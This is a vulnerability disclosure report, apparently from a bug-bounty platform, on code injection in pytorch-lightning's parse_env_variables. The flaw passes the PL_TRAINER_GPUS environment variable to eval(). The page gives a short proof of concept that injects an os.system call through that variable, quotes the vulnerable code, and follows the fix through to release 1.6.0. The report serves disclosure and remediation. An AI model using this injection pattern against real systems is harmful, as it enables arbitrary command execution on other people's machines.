Code Injection in pytorchlightning/pytorch-lightning

3

Valid Reported on Mar 2nd 2022

Description

The attacker can execute commands on the target OS running the operating system by setting the `PL_TRAINER_GPUS` when using the `Trainer` module.

Proof of Concept

```
$ pip3 install pytorch-lightning
```

```
import os
from pytorch_lightning import Trainer
from pytorch_lightning.utilities.argparse import *

parse_env_variables(Trainer)
```

```
$ ls
```

```
os.environ["PL_TRAINER_GPUS"] = 'os.system("touch rickroll")'

parse_env_variables(Trainer)
```

```
$ ls
rickroll
```

Collab Notebook:
https://colab.research.google.com/drive/1lMPSsKN7cNWcHkh7ZBvsNkCZRcoTPJq8?

usp=sharing

Impact

This vulnerability is capable of executing remote code on the target system in the context of the user running the program.

Occurrences

argparse.py L124

The vulnerability arises due to unsanitized input being passed being passed to the `eval()` function

```
            if not (val is None or val == ""):
                # todo: specify the possible exception
                with suppress(Exception):
                    # converting to native types like int/float/bool
                    val = eval(val)
```

References

- Exploiting eval() function in Python

CVE
CVE-2022-0845
(Published)

Vulnerability Type
CWE-94: Code Injection

Severity
High (7.3)

Visibility
Public

Status
Fixed

Found by

whokilleddb

@whokilleddb

master

Fixed by

whokilleddb

@whokilleddb

master

This report was seen 1,059 times.

We are processing your report and will contact the **pytorchlightning/pytorch-lightning** team within 24 hours. 9 months ago

whokilleddb submitted a patch 9 months ago

We have contacted a member of the **pytorchlightning/pytorch-lightning** team and are waiting to hear back 9 months ago

Carlos Mocholí validated this vulnerability 9 months ago

whokilleddb has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Carlos Mocholí 9 months ago Maintainer

@whokilleddb, are you interested in opening a PR with the fix?

Carlos Mocholí 9 months ago Maintainer

Oh, just saw you already suggested a patch. You can go ahead and open a PR to the repository

whokilleddb submitted a patch 9 months ago

whokilleddb 9 months ago

Hi Carlos, I just published my PR. Sorry for any errors in the contribution. Looking forward to it getting merged 😊

whokilleddb 9 months ago Researcher

Hi Carlos, can you please confirm the following PR:

https://github.com/PyTorchLightning/pytorch-lightning/pull/12212

Carlos Mocholí marked this as fixed in 1.6.0 with commit 8b7a12 9 months ago

whokilleddb has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

argparse.py#L124 has been validated ✔

Sign in to join this conversation

privacy policy

Chat with us